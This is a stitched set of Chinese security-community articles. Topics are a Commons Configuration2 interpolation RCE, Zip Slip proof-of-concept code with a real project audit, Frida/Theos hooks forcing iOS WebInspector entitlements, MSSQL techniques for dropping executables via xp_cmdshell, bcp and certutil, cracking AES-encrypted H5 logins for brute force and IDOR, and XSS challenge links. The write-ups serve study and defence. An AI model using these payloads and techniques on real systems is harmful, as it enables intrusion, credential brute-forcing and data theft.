他首先会通过`:`将其进行分隔开来，并判断了其格式，再分别取出了`engineName`和`script`之后，将会在后面通过调用`getEngineByName`方法的调用传入`engineName`，得到了`scriptEngine`为`NashormScriptEngine`类
跟进其eval方法
带入了script和`context`对象继续调用eval方法
跟进`evalImpl`方法
到最后成功执行了我们的代码，达到了命令执行
贴一个调用栈
exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 1750905143 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1241529534 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 1528923159 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1683662486 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 1783593083 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1740797075 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
lookup:86, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:45, StringLookupAdapter (org.apache.commons.configuration2.interpol)
resolve:497, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
resolveSingleVariable:529, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
interpolate:362, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
main:15, Commons_Configuration2_Test (pers.test_01)
根据漏洞通报中，同样还有这其他的`prefix`造成的影响
System.out.println(configurationInterpolator.interpolate("${dns:" + "test." + "uqp639.dnslog.cn}"));
同样可以实现dns解析
同样还可以访问远程url
System.out.println(configurationInterpolator.interpolate("${url:http:http://127.0.0.1:8000/}"));
## 修复
再查看diff之后
<https://github.com/apache/commons-configuration/commit/f025bc399e8125ffc7701ac74f09b833c5b5e152#diff-ae29e7f41cf746bc365d2cd17ca0cf535757498625a7203db240113021082f3f>
根据官方的更新描述
默认将`script url dns`等prefix给去除了
## Reference
<https://github.com/apache/commons-configuration>
<https://www.anquanke.com/post/id/276734> | 社区文章 |
# 前言
Zip Slip的漏洞成因非常简单，这个漏洞绑定的业务功能点：上传压缩包文件，后端解压压缩包保存其中的文件到服务器本地。
漏洞成因：待上传的压缩包中可以构造条目名，后端保存文件的时候，常常将条目名提取出来并和保存目录拼接作为最后的保存文件路径，但是压缩包是可控的，从而其中保存的原始条目名也是可控的，因此可以在文件名处利用`../`跳转到任意目录，从而向任意目录写入新文件或者覆盖旧文件。具体案例可见下文。
在Zip Slip公布者[文章](https://security.snyk.io/research/zip-slip-vulnerability
"文章")中，提到，Java中的Zip Slip漏洞尤其普遍：
> The vulnerability has been found in multiple ecosystems, including
> JavaScript, Ruby, .NET and Go, but is especially prevalent in Java, where
> there is no central library offering high level processing of archive (e.g.
> zip) files. The lack of such a library led to vulnerable code snippets being
> hand crafted and shared among developer communities such as StackOverflow.
本文从原生的Java.util.zip->zt-zip->spring integration zip进行Zip
Slip漏洞分析，并在最后附上此漏洞的代审案例。
# 生成恶意zip
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件
info = zipfile.ZipInfo("poc.zip")
zipFile.write("D:/tgao/pass/1", "../password", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名
zipFile.close()
except IOError as e:
raise e
上述生成的恶意zip，在Zip
Slip中，会取出`../password`，并与保存目录拼接，其中获取`../password`的java方法类似与`zipEntry.getName()`。
# 原生的Java.util.zip
漏洞代码：实际场景下的的zip包是可控的，如通过文件上传等功能
package zip;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
public class Zip1 {
public static void main(String[] args) throws IOException {
//解压zip的包
String fileAddress = "D:/pythonProject/exp/ctf/poc.zip";
//zip文件解压路径
String unZipAddress = "D:/tgao/pass/";
//去目录下寻找文件
File file = new File(fileAddress);
ZipFile zipFile = null;
try {
zipFile = new ZipFile(file);//设置编码格式
} catch (IOException exception) {
exception.printStackTrace();
System.out.println("解压文件不存在!");
}
Enumeration e = zipFile.entries();
while(e.hasMoreElements()) {
ZipEntry zipEntry = (ZipEntry)e.nextElement();
File f = new File(unZipAddress + zipEntry.getName());
f.getParentFile().mkdirs();
f.createNewFile();
InputStream is = zipFile.getInputStream(zipEntry);
FileOutputStream fos = new FileOutputStream(f);
int length = 0;
byte[] b = new byte[1024];
while((length=is.read(b, 0, 1024))!=-1) {
fos.write(b, 0, length);
}
is.close();
fos.close();
}
if (zipFile != null) {
zipFile.close();
}
}
}
漏洞成因： `File f = new File(unZipAddress +
zipEntry.getName());`中`zipEntry.getName()`的值是可控的，从而造成路径穿越，最终写入任意文件。
# zt-zip
引入依赖：
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>xml
</dependency>
zt-zip组件中的解压功能，是在原生的java.util.zip基础上进行的封装。
漏洞代码：实际场景下的的zip包是可控的，如通过文件上传等功能。
package zip;
import org.zeroturnaround.zip.ZipUtil;
import java.io.File;
public class Zip2 {
public static void main(String[] args) {
File zip = new File("D:/pythonProject/exp/ctf/poc.zip");
File dir = new File("D:/tgao/pass");
ZipUtil.unpack(zip, dir);
}
}
跟进`org.zeroturnaround.zip.ZipUtil#unpack(java.io.File, java.io.File)`
继续跟进`org.zeroturnaround.zip.ZipUtil#unpack(java.io.File, java.io.File,
org.zeroturnaround.zip.NameMapper)`
在上述方法中使用`new ZipUtil.Unpacker(outputDir,
mapper)`创建`ZipEntryCallback`对象`(ZipUtil.Unpacker)`
可以先看其中的`org.zeroturnaround.zip.ZipUtil.Unpacker#process`方法
上述代码中的`this.mapper`在调用`org.zeroturnaround.zip.ZipUtil#unpack(java.io.File,
java.io.File)`方法中传入的
进入`org.zeroturnaround.zip.IdentityNameMapper`
上述的map方法直接将传入的name参数返回并没有任何的过滤。
因此，再看`org.zeroturnaround.zip.ZipUtil.Unpacker#process`方法对`zipEntry.getName()`没有任何的过滤。所以导致了Zip
Slip漏洞的产生。
再回来看看`org.zeroturnaround.zip.ZipUtil#unpack(java.io.File, java.io.File,
org.zeroturnaround.zip.NameMapper)`
跟进`org.zeroturnaround.zip.ZipUtil#iterate(java.io.File,
org.zeroturnaround.zip.ZipEntryCallback)`
继续跟进`org.zeroturnaround.zip.ZipUtil#iterate(java.io.File,
org.zeroturnaround.zip.ZipEntryCallback, java.nio.charset.Charset)`
可以看到调用了原生的`java.util.zip.ZipFile#ZipFile(java.io.File)`等API
此方法中也没有任何的过滤，直接将zip流内容和ZipEntry传入了`org.zeroturnaround.zip.ZipUtil.Unpacker#process`(`Unpacker#process`在上文已讲过)。
在zt-zip在1.13版本中进行了修复：<https://github.com/zeroturnaround/zt-zip/commit/759b72f33bc8f4d69f84f09fcb7f010ad45d6fff#>
# spring integration zip
## CVE-2018-1261
引入依赖
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-zip</artifactId>
<version>1.0.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
<type>jar</type>
</dependency>
`spring-integration-zip`依赖于`zt-zip`
漏洞代码：实际场景下的的zip包是可控的，如通过文件上传等功能
package zip;
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.integration.support.MessageBuilder;
import org.springframework.integration.zip.transformer.UnZipTransformer;
import org.springframework.messaging.Message;
import java.io.File;
import java.io.InputStream;
public class Zip3 {
private static ResourceLoader resourceLoader = new DefaultResourceLoader();
public static void main(String[] args) {
final Resource evilResource = resourceLoader.getResource("classpath:poc.zip");
try{
InputStream evilIS = evilResource.getInputStream();
Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.transform(evilMessage);
}catch (Exception e){
System.out.println(e);
}
}
}
跟进`org.springframework.integration.zip.transformer.UnZipTransformer#UnZipTransformer`构造方法
跟进`org.springframework.integration.zip.transformer.AbstractZipTransformer#AbstractZipTransformer`构造方法
初始化了`zipResultType`和`workDirectory`属性，前者为`ZipResultType.FILE`，后续会用到此值，而`workDirectory`默认值为`new
File(System.getProperty("java.io.tmpdir") + File.separator +
"ziptransformer")`后续也会使用到该值。在我的测试环境下，`System.getProperty("java.io.tmpdir") +
File.separator + "ziptransformer"`如下：
创建完`UnZipTransformer`后，执行`org.springframework.integration.transformer.AbstractTransformer#transform`方法
其中`message`参数值是`zip`文件读取流，继续跟进`org.springframework.integration.zip.transformer.AbstractZipTransformer#doTransform`
继续跟进`org.springframework.integration.zip.transformer.UnZipTransformer#doZipTransform`
继续跟进
调用了`zt-zip`的`api`，只不过`spring integration
zip`在这里自己创建了一个`ZipEntryCallback`匿名对象，最后会调用此匿名对象的`process`方法
没有任何过滤，导致zip slip发生。
修复方案如下：<https://github.com/spring-projects/spring-integration-extensions/commit/a5573eb232ff85199ff9bb28993df715d9a19a25>
# 审计实战
项目地址：<https://gitee.com/RainyGao/DocSys>
在`com.DocSystem.controller.BaseController#unZip`方法中存在如下代码片段
其中`entry.getName()`的值是可控的，通过`../`可以将恶意jsp文件写到web根目录。
寻找触发点，发现在`com.DocSystem.controller.ManageController#upgradeSystem`方法中触发了`com.DocSystem.controller.BaseController#unZip`方法
关键代码如下：
具体漏洞复现可参考：<https://gitee.com/RainyGao/DocSys/issues/I65IYU> | 社区文章 |
作者：CodeColorist
作者博客：<https://blog.chichou.me/>
iOS 7 之后的 Safari 提供了远程调试设备上网页的功能。在设备和 mac 端的 Safari 上均开启开发者功能之后，可以用 USB
连接手机，然后在 Develop 菜单中选择对应的页面打开 WebInspector：
远程调试菜单
但是这个调试功能只对 Xcode 真机调试的 App 和 MobileSafari 开启了。
App 是否支持 WebInspector 是通过 entitlement 控制的。已知将 `com.apple.security.get-task-allow` 设置为 `true` 之后会允许调试 WebView。Xcode 编译出来的调试版本 App 都会带上这个 entitlement，这也是
lldb 真机调试必须的配置。
MobileSafari 肯定不允许 lldb 调试，不过可以看到（iOS 11.1.2）它注册了一个这样 entitlement：
如果想检视其他 App 的内容，有没有什么好办法？
重打包不仅可以对付 apk，还可以帮助逆向 iOS 应用。
要对一个应用进行重新打包，首先需要拿到未加密的安装包。通过 App Store
下载的安装包都经过加密处理，需要对其进行“砸壳”（解密）。熟悉逆向的同学很快就掏出
[dumpdecrypted](https://github.com/stefanesser/dumpdecrypted "dumpdecrypted")
等工具解决了，不过这需要有已越狱的设备；偷懒的也可以使用别人砸好的应用，比如从某些助手之流下载。
既然 WebInspector 需要这个 entitlement，那么直接修改掉可执行文件的代码签名，加上这个特权即可。ldid 和 jtools
等工具可以搞定，因为重签名不是本文的重点，因此就简单带过。最后推荐一个懒人工具 MonkeyDev，可以在 Xcode
中自动化完成添加调试签名的流程，只要一个砸壳好的 ipa。
重打包也不是万能的。由于签名不匹配会导致之前应用的数据丢失，另外一些 App 可能对自身做额外的完整性检查，以对抗重打包行为。
有了越狱环境能做很多事情。
在 Android 上，WebView 提供了一个 `setWebContentsDebuggingEnabled` 方法，可以启用 devtools
调试网页。写一个 Xposed 插件就可以全局开启。在 iOS 上有没有类似的 kill switch？
在 iOS 设备上启用了 WebInspector 之后会出现一个 `webinspectord` 的服务进程。在 iOS 11.1.2
上，这个进程的代码只有一点点：
其实是放在链接库里了。
（注：不同 iOS 版本的代码有差异）
从设备中拉取 dyld_shared_cache：
➜ /tmp scp ios:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ./
Warning: Permanently added '[127.0.0.1]:2222' (RSA) to the list of known hosts.
dyld_shared_cache_arm64 100% 1023MB 33.6MB/s 00:30
前面提到的两条线索已经很明显了：
* `com.apple.private.webinspector.allow-remote-inspection`
* `com.apple.security.get-task-allow`
很快定位到字符串表：
通过交叉引用来到如下函数：
bool __cdecl -[RWIRelayDelegateIOS _allowApplication:bundleIdentifier:](id a1, SEL a2, struct {unsigned int var0[8];} *a3, id a4)
{
__int128 *v4; // x21
id v5; // x20
__int64 v6; // x19
char v7; // w20
__int128 v9; // [xsp+0h] [xbp-80h]
__int128 v10; // [xsp+10h] [xbp-70h]
__int128 v11; // [xsp+20h] [xbp-60h]
__int128 v12; // [xsp+30h] [xbp-50h]
__int128 v13; // [xsp+40h] [xbp-40h]
__int128 v14; // [xsp+50h] [xbp-30h]
v4 = (__int128 *)a3;
v5 = a1;
v6 = MEMORY[0x18F5A5488](a4, a2);
if ( qword_1B0981AD0 != -1 )
dispatch_once(&qword_1B0981AD0, &unk_1AC56C870);
if ( byte_1B0981AC8 )
goto LABEL_14;
v14 = v4[1];
v13 = *v4;
if ( MEMORY[0x18F5A547C](v5, selRef__hasRemoteInspectorEntitlement_[0], &v13) & 1 ) // 开启了 allow-remote-inspection
goto LABEL_14;
if ( qword_1B0981AE0 != -1 )
dispatch_once(&qword_1B0981AE0, &unk_1AC56C8B0);
if ( byte_1B0981AD8
&& (v12 = v4[1], v11 = *v4, MEMORY[0x18F5A547C](v5, selRef__hasCarrierRemoteInspectorEntitlement_[0], &v11) & 1) )
{ // 特定条件下检查的是 com.apple.private.webinspector.allow-carrier-remote-inspection
LABEL_14:
v7 = 1;
}
else
{
v10 = v4[1];
v9 = *v4;
v7 = MEMORY[0x18F5A547C](v5, selRef__usedDevelopmentProvisioningProfile_[0], &v9); // 开发版本 App 同样放行
}
MEMORY[0x18F5A5484](v6);
return v7;
}
这正是检查是否允许调试的关键函数。其调用了 Code Signing Service
函数[SecTaskCopyValueForEntitlement](https://developer.apple.com/documentation/security/1393461-sectaskcopyvalueforentitlement?language=objc
"SecTaskCopyValueForEntitlement") 检查 XPC 调用者是否具有指定的 entitlement 权限。
使用 [frida](https://www.frida.re/ "frida") hook 框架简单验证一下：
➜ passionfruit git:(master) ✗ frida -U webinspectord
____
/ _ | Frida 10.6.61 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
[iPad 4::webinspectord]-> Interceptor.attach(ObjC.classes.RWIRelayDelegateIOS['- _allowApplication:bundleIdentifier:'].implementation, {
onEnter: function(args) {
this.bundleId = new ObjC.Object(args[3]);
},
onLeave: function(retVal) {
const allow = !retVal.equals(NULL)
console.log(this.bundleId + (allow ? ' allows' : ' does not allow') + ' WebInspect')
if (!allow) {
console.log('now patch it');
retVal.replace(ptr(1));
}
}
});
{}
[iPad 4::webinspectord]-> com.tencent.mipadqq does not allow WebInspect
now patch it
com.mx.MxBrowser-iPhone does not allow WebInspect
now patch it
com.apple.WebKit.WebContent allows WebInspect
com.mx.MxBrowser-iPhone does not allow WebInspect
now patch it
com.apple.WebKit.WebContent allows WebInspect
com.mx.MxBrowser-iPhone does not allow WebInspect
now patch it
每次启动新应用的时候都会调用这个函数做一次判断，将其返回值 patch 为 TRUE，第三方浏览器出现在了 Safari 的调试列表中：
最新版 macOS 上的 WebInspector 也有类似函数 `__int64 __fastcall -[RWIRelayDelegateMac
_allowApplication:bundleIdentifier:]`
行为存在少许差异，检查的 Key 名是不一样的。不过相比手机设备上丢失符号的版本，这个显然可读性要强得多了。
THEOS 是 iOS 安全研究不可或缺的开发工具。把这个 hook 做成越狱插件自然用起来更方便。THEOS 创建工程时设置注入进程目标为
webinspectord：
{ Filter = { Bundles = ( "com.apple.webinspectord" ); }; }
Tweak.xm 的 hook 逻辑简单粗暴：
%hook RWIRelayDelegateIOS
// for 11.1.2
- (BOOL)_allowApplication:(void *)ignored bundleIdentifier:(NSString *)bundleId {
%log;
NSLog(@"Force WebInspect enable for %@", bundleId);
return TRUE;
}
%end
配置好 SSH 环境变量后 `make package install` 部署到设备，搞定。在 11.1.2 和 10.3.3 上测试通过。
有同学反馈 10.0.2 的 WebInspector.framework 没有 `RWIRelayDelegateIOS` 类。我验证了一下 10.0.3
的 IPSW 固件，函数是一样的，只不过直接编译到 webinspectord 而不是放进动态链接库。拆分链接库应该是 iOS 11 开始的。
在 iOS 9.3.3 上类名不一样，应该对 `WebInspectorRelayDelegateIOS` 的 `-_allowApplication:bundleIdentifier:` 进行 hook。其他 iOS 版本的兼容性还有待进一步分析。
不过以上出现的几个方法都需要使用 Code Signing Services 的 api，因此理论上拦截这个更底层的 api 可以做到通用。以下是
frida 的原型：
const SecTaskCopyValueForEntitlement = Module.findExportByName(null, 'SecTaskCopyValueForEntitlement');
const CFRelease = new NativeFunction(Module.findExportByName(null, 'CFRelease'), 'void', ['pointer']);
const CFStringGetCStringPtr = new NativeFunction(Module.findExportByName(null, 'CFStringGetCStringPtr'),
'pointer', ['pointer', 'uint32']);
const kCFStringEncodingUTF8 = 0x08000100;
const expected = [
'com.apple.security.get-task-allow',
'com.apple.private.webinspector.allow-remote-inspection',
'com.apple.private.webinspector.allow-carrier-remote-inspection',
'com.apple.webinspector.allow'
];
Interceptor.attach(SecTaskCopyValueForEntitlement, {
onEnter: function(args) {
const p = CFStringGetCStringPtr(args[1], kCFStringEncodingUTF8);
const ent = Memory.readUtf8String(p);
if (expected.indexOf(ent) > -1)
this.shouldOverride = true
},
onLeave: function(retVal) {
if (!this.shouldOverride)
return
if (!retVal.isNull())
CFRelease(retVal);
retVal.replace(ObjC.classes.NSNumber.numberWithBool_(1));
}
})
整理为 Tweak 插件：
<https://github.com/ChiChou/GlobalWebInspect>
* * * | 社区文章 |
## 关于站库分离数据库不出网落地Exe方式探究-Mssql
## 前言
之前偶尔会遇到站库分离数据库不出网&没有Webshell的情况,只有一个可以执行命令的shell,这种情况下如果想进行横向只能通过数据库来落地我们的工具。
注:文中只是为了演示数据库如何落地exe,可能部分环境过于理想化,在实战中很难遇到。
环境:
1. 系统版本
Win 10 x64 - mssql权限
2. 数据库版本
Mssql 2019
### 1、Bcp
#### 1.1 简介
大容量复制工具,可以导入数据到Mssql表,也可以将表中数据导出到文件。
#### 1.2 适用版本
全版本
#### 1.3 导出exe
思路：将exe的16进制写入表,再使用Bcp导出成exe。
创建存储二进制数据类型的表
create table info(data image)
insert into info(data) values ()
导出表中的数据
exec master..xp_cmdshell 'bcp test.dbo.info out c:\users\public\12.txt -T -c'
-T：可信任连接,如果不加需要手动加上Mssql的账号密码
-c:字符类型
这条语句是导出test库中info表中的数据,到12.txt文件中
不加-T
不加-C
导出的数据还是16进制,可以使用certutil或编程语言将其解码为可执行文件。
exec master..xp_cmdshell 'certutil -decodehex c:\users\public\12.txt c:\users\public\12.exe'
Pyhotn3
python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"
可以正常执行
Mssql中常见的存储二进制字段类型
#### 1.4 注意点
* 16进制在插入表的时候,记得在最前边加0x
### 2、sp_makewebtask
#### 2.1 简介
导出文档,文档内容为查询语句返回的数据。
#### 2.2 版本
Mssql版本小于等于2008
#### 2.3 导出exe
扩展开启
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; 开启该扩展
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; 关毕该扩展
大致思路:
将exe的16进制插入到表中,使用sp_makewebtask将exe的16进制导出,最后使用certutil或Python恢复。
exec sp_makewebtask '\\路径\\hex.txt','select''exe_hex'' '
certutil -decodehex \\路径\\hex.txt \\路径\\test.exe
### 3、Echo
#### 3.1 不换行追加导出exe
使用系统的echo将可执行文件的16进制导出到服务器
每使用一次echo会自动换行,这情况下无法正常解码。
使用set /p=""实现不换行追加
执行结果已经实现了
但是这里需要注意Windows一次最多导出8kb出头,所以需要一段一段追加到文件,而且这种环境下还没办法分离免杀...嘶~
### 4、Python
#### 4.1 简介
既然可以使用Python处理一些数据,那么应该也可以使用Python连接数据库,将查询结果导出为exe。
#### 4.2 条件
* 有Python(可以一句话反弹shell的语言应该都可以)
* 知道Mssql账号密码
* 所带的语言支持连接Mssql
#### 4.3 查询数据并导出
实战环境将ip、user、password、要查询的表...换成对应的就可以了,路径也尽量换了。
import pymssql;conn=pymssql.connect(host='192.168.112.149',user='sa',password='123456',database='test',charset='utf8');cur = conn.cursor();sqlstr = 'select data from info';cur.execute(sqlstr);data = cur.fetchall()[0][0].strip();open('tesz.exe','ab').write(data);cur.close();conn.close();
### 5、备份
#### 5.1 日志备份
##### 5.1.1 简介
记录SQL操作语句
##### 5.1.2 日志被隔断
#将数据库设置为完全恢复模式
alter database 数据库名称 set RECOVERY FULL
#创建一个存储二进制文件的表
create table info (data image)
#先备份数据库才可以备份日志,with init:将数据写到文件最前边
backup database 数据库名称 to disk = '\\path\\' with init
#插入可执行文件的16进制
insert into cmd (a) values (0x执行文件的16进制)
#备份日志
backup log 数据库名称 to disk = 'path'
在导出的日志中可以找到可执行文件的16进制字符
可执行文件的16进制会被隔断,无法正常导出执行。
#### 5.2 差异备份
##### 5.2.1 简介
差异备份由 **DIFFERENTIA**
L关键字指定,只备份从上一次完整备份之后发生更新的数据,而不是备份整个数据库,通常情况下,差异备份比完整备份占用的空间更少。
##### 5.2.2 日志被隔断
#先备份一次数据
backup database test to disk = 'C:\Users\Public\bak.log' with init;
#创建存储exe-16进制的表
create table test.dbo.info (data image);
insert into info (data) values ('可执行文件的16进制')
#使用differential关键字指定,只备份从上一次完整备份之后发生更新的数据。
backup database test to disk = 'C:\Users\Public\test2.log' with differential,format;
但还是被隔断了
### 6、思考
* 其实使用echo导出的时候,也可以不使用set /p的方式,在解码之前使用python或其他编程语言替换掉换行,然后解码。
* 日志备份是否可以使用编程语言解决隔断和乱序问题。
### 7、总结
导出方式 | 概述
---|---
Bcp | Mssql全版本支持,导出也较为方便
Sp_makewebtask | 有一定局限性,适用于老一点版本的Mssql
Echo | 眼睛和手能抗住的话还是蛮好用的
Python | 有较多局限性
日志 | 暂时不能用。
上文只是为了演示如何通过数据库落地exe,实战中还要考虑免杀、绕过AV调用危险程序等情况,这里就不再赘述了。
### 8、参考链接
Mssql存储过程文档 <https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-depends-transact-sql?view=sql-server-ver15>
Python连接Mssql <https://www.cnblogs.com/mirrortom/p/5218865.html>
Mssql数据库恢复模式 <https://blog.csdn.net/weixin_34281477/article/details/89831639>
Mssql三种常见备份模式 <https://blog.csdn.net/qq_40954115/article/details/78803065> | 社区文章 |
# H5页面漏洞挖掘之路-加密篇
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1595559041&ver=2479&signature=VRCGgOCrCSW2vsfnkW-e3csWDm9o-p4i7mrGx*HF50w9QRaiI38M0oEdFz9F*Jk10GcVtm*gox32wUVa*h6Io5QoSC8KF5Vjj0Y4NSrizn6kjHJ1T3gaPERQMMH2H9nf&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1595559041&ver=2479&signature=VRCGgOCrCSW2vsfnkW-e3csWDm9o-p4i7mrGx*HF50w9QRaiI38M0oEdFz9F*Jk10GcVtm*gox32wUVa*h6Io5QoSC8KF5Vjj0Y4NSrizn6kjHJ1T3gaPERQMMH2H9nf&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
H5移动应用作为个人生活、办公和业务支撑的重要部分，也面临着来自移动平台的安全风险，不仅仅来自于病毒，更多的是恶意的攻击行为、篡改行为和钓鱼攻击。关于H5页面的安全测试，业务逻辑功能测试基本和WEB渗透测试是通用的。
从业务安全角度考虑，一般客户端与服务端通信会进行加密，防止被刷单、薅羊毛等攻击，需要对数据加密加密处理。所以我们必须了解各种加密方式。开发者常会用到AES(Advanced
Encryption Standard)加密算法，在此对H5页面的漏洞挖掘案例分享给大家。
## 前置知识
### **AES加密模式介绍**
AES加密的模式主要有五种：ECB (电子密码本模式)、CBC（密码分组连接模式）、CTR（计算器模式）、CFB（密码反馈模式）、OFB
(输出反馈模式)。这五种工作模式主要是在加密器的使用上有所区别。在这里主要介绍下ECB和CBC这两种开发者最常用的两种加密方式。
**ECB模式**
其使用方式是一个明文分组加密成一个密文分组，相同的明文分组永远被加密成相同的密文分组。直接利用加密算法分别对每个64位明文分组使用相同的64位密钥进行加密。每个明文分组的处理是相互独立的。
**优点** ：
简单。
有利于并行计算。
**缺点** ：
相同的明文块会加密成相同的密文块，安全性低。
**CBC模式**
引入一个初始向量IV，它的作用跟MD5加盐有些类似，可以防止相同的明文块加密成同样的密文块。IV是初始向量，参与第一个明文块的异或，后续的每一个明文块，都与它前一个密文块相异或。这样就能保证相同的明文块不会被加密为相同的密文块。
优点：能隐蔽明文的数据模式，在某种程度上能防止数据篡改, 诸如明文组的重放,嵌入和删除等，安全性高。
缺点：无法并行计算，性能相对ECB低，会出现错误传播(errorpropagation)。
## 案例
在一次金融行业的漏洞挖掘过程中，从发现请求和返回数据包全程加密。我们该如何突破数据包加密，并自动化暴力破解登陆。继续深度挖掘发现存在越权漏洞，最终获取大量账户敏感信息。
### **发现加密**
浏览器访问H5页面登录接口。
随意输入一个手机号和密码，点击登陆。利用Burp抓包查看，发现请求和响应数据包全过程加密。
### **破解加密算法**
右键查看登陆网页源代码寻找加密方法：
点击登录调用前端onLoginBtnClick方法，获取用户请求数据requestData，在调用ajax请求中发送未加密的数据内容。
ajax请求函数postData：全局搜索postData函数，最终在common.js找到。在发送请求中发现加解密函数：加密函数encrypt和解码函数decrypt。
因为一般插件的js文件都是非格式化存储的，调试时非格式化文件不能直观显示，我们格式化代码后再调试查看。发现使用AES加密ECB模式PKCS7Padding填充，密钥key硬编码在js代码中。
我们编写python脚本解密登录请求数据包，成功拿到明文请求数据包。
由于登录没有验证码机制。我们可以利用登陆接口和服务端返回的提示信息，可以批量枚举平台用户手机号，而且发现登陆密码是纯6位数字，首选密码是123456，进行尝试自动化暴力破解。
在执行Python脚本的时候，发现不允许重放请求数据包，那肯定是存在签名校验，用于防止攻击者重放请求数据包。
通过diff请求数据包，确认是校验请求头中的replayId值。我们去代码中定位replayId值是如何生成的。
在JS文件中搜索replayId，发现replayId变量是调用guid函数赋值的。
继续定位guid函数，到这里我们已经成功拿到请求和响应数据包的加解密过程，和guid生成的过程。
编写Python的execjs执行js代码，伪造guid值。
### **自动化脚本**
继续编写python代码，完成自动化暴力破解登陆。万事具备，那离成功就差一个手机号字典了。
通过前期的信息收集，整理出一份高质量的手机号字典，幸福来的太突然，成功爆破出一个手机号和密码。
成功登陆用户账户：
继续深度挖掘，发现通过修改请求数据包中的mobilephone参数，还可以越权查看他人银行卡额度信息，包括卡ID、可用额度、已使用额度等。
## 总结
1. 遇到全程加密数据包，我们首先分析前端JS文件，发现使用AES加密ECB模式PKCS7Padding填充，密钥key硬编码在js代码中，编写脚本破解加密算法。又发现利用请求头中的replayId值，防止攻击者重放请求数据包。通过全局搜索发现replayId变量是调用guid函数赋值的，继续编写Python脚本完成自动化的暴力破解，成功登陆，深入漏洞挖掘。
2. 后续我们可以写一个Burp插件，更便捷我们后续的漏洞挖掘。可以参考如下：
3. <https://github.com/Ebryx/AES-Killer> | 社区文章 |
亮出你们的POC~~各种奇技y巧。。
[XSS#01. 文件上传 (添加时间:2017-08-15)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss1.htm)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss1.php.txt)[\---->点我看提示]()
---
[XSS#02. getallheaders() (添加时间:2017-08-15)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php.txt)[\---->点我看提示]()
[XSS#03. json (添加时间:2017-08-15)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss3333.php?value=test)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss3.php.txt)[\---->点我看提示]()
[XSS#04. referrer (添加时间:2017-08-15)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php.txt)[\---->点我看提示]()
[XSS#05. 跳转 (添加时间:2017-08-15)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php?url=http://baidu.com)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php.txt)[\---->点我看提示]()
[XSS#06. 强制下载 (添加时间:2017-08-15)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss6.php?filename=download&url=http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss6.php.txt)[\---->点我看提示]()
